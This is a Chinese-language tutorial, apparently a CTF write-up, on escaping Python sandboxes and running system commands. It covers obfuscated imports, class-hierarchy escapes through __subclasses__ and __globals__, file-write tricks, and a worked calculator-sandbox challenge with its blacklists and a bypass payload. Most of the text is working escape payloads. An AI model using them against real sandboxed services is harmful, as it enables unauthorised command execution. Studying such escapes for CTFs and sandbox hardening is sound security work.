Python中执行系统命令的方式
使用
os包中的popen,system两个函数来直接执行shell使用
commands模块中的方法使用
subprocess使用写文件到指定位置,再使用其他辅助手段
如:
import os import subprocess import commands os.system('whoami') os.popen('whoami') commands.getoutput('whoami') # py2 commands.getstatusoutput('whoami') # py2 subprocess.call(['whoami'],shell=True)
花式 import
对于防御者来说,最基础的思路,就是对代码的内容进行检查,最常见的方法就是禁止引入敏感的包
利用
__import__函数f = __import__("pbzznaqf".decode('rot_13')) print(f.getoutput('ifconfig'))使用
importlib库import importlib f = importlib.import_module("pbzznaqf".decode('rot_13')) print(f.getoutput('ifconfig'))__builtin__模块:可以通过reload(__builtin__)得到完整的模块,reload被删除时:import imp imp.reload(__builtin__)os从
sys.modules中删掉:(所有的类unix系统中,Python的os模块的路径几乎都是/usr/lib/python2.7/os.py中)import sys sys.modules['os']='/usr/lib/python2.7/os.py' import os引入模块的过程,就是把对应模块的代码执行一遍的过程,禁止引入时,知道对应的路径,就可以执行相应的代码:
execfile('/usr/lib/python2.7/os.py') system('ls') # 3.x 删了 execfile,不过可以这样: with open('/usr/lib/python3.6/os.py','r') as f: exec(f.read()) system('ls')
处理字符串
拼接:
b = 'o' a = 's' __import__(a+b).system('ls')逆序:
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) __import__('so'[::-1]).system('dir')通过
getattr拿到对象的方法、属性:import os getattr(os, 'metsys'[::-1])('whoami') # 或 getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
通过继承关系逃逸
Python中新式类都有个属性,叫
__mro__,是个元组,记录了继承关系>>> ''.__class__.__mro__ (<type 'str'>, <type 'basestring'>, <type 'object'>)由于没法直接引入
os,假如有个库叫oos,在oos中引入了os,就可以通过__globals__拿到 os(__globals__是函数所在的全局命名空间中所定义的全局变量)如:
site库就有os:>>> import site >>> site.os <module 'os' from 'E:\Python2\lib\os.pyc'>可以利用
reload加载os:import site os = reload(site.os) os.system('whoami')用
__subclasses__看子类:for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print(i) # 利用site._Printer引入os ''.__class__.__mro__[-1].__subclasses__()[73]._Printer__setup.__globals__['os']这个方法不仅限于 A->os,还可以是 A->B->os,比如 2.x 中的
warnings:import warnings warnings.linecache warnings.linecache.os在继承链中:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')通过
warnings.catch_warnings,的_module属性构造payload:[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')利用
builtin_function_or_method的__call__:"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1') [].__getattribute__('append').__class__.__call__(eval, '1+1') class test(dict): def __init__(self): print(super(test, self).keys.__class__.__call__(eval, '1+1')) # 如果是 3.x 的话可以简写为: # super().keys.__class__.__call__(eval, '1+1')) test()总结:通过
__class__、__mro__、__subclasses__、__bases__等等属性/方法去获取object,再根据__globals__找引入的__builtins__或者eval等能够直接被利用的库,或找到builtin_function_or_method类/类型__call__后直接运行eval
文件读写
2.x 有个内建的
file函数,还有个open,2.x 与 3.x 通用:file('key', 'w').write('123456') file('key').read()还有一些库,例如:
types.FileType—(rw)、platform.popen—(rw)、linecache.getlines—(r)如果可写文件,可以将文件保存为
xxx.py,然后 import 进来执行命令:# xxx.py import os print(os.system('whoami')) # 1.py import xxxpy 文件命名是有技巧的,要挑一个常用的标准库,因为过滤库名可能采用的是白名单,有些库是在
sys.modules中有的,这些库无法利用,会直接从sys.modules中加入
其它
过滤
[]:将[]的功能用pop、__getitem__代替(实际上a[0]就是在内部调用了a.__getitem__(0))新特性:PEP 498 引入了
f-string,在 3.6 开始出现:f'{__import__("os").system("whoami")}'dir()与__dict__:列出一个模组/类/对象 下面 所有的属性和函数getattr:函数接受两个参数,一个模组或者对象,第二个是一个字符串,该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性import codecs import os getattr(os, codecs.encode("flfgrz", 'rot13'))('whoami')
例题
def banner():
print "============================================="
print " Simple calculator implemented by python "
print "============================================="
return
def getexp():
return raw_input(">>> ")
def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)
def sandbox_filter(command):
blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
'=', 'open', 'read', 'sys', ';', 'os']
for forbid in blacklist:
if forbid in command:
return 0
return 1
def sandbox_exec(command): # sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}
if sandbox_filter(command) == 0:
print 'Malicious user input detected!!!'
exit(0)
command = 'result = ' + command
try:
exec command in _global # do calculate in a sandboxed environment
except Exception, e:
print e
return 0
result = _global['result'] # extract the result
return result
banner()
while 1:
command = getexp()
print sandbox_exec(command)
exec command in _global:由于exec运行在自定义的全局命名空间里,会处于受限执行模式,exec加上定制的globals会使得沙箱安全很多,一些常规的payload是没法使用的但由于
exec运行在特定的命名空间里,可以通过其他命名空间里的__builtins__,比如types库,来执行任意命令:getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')
参考文章: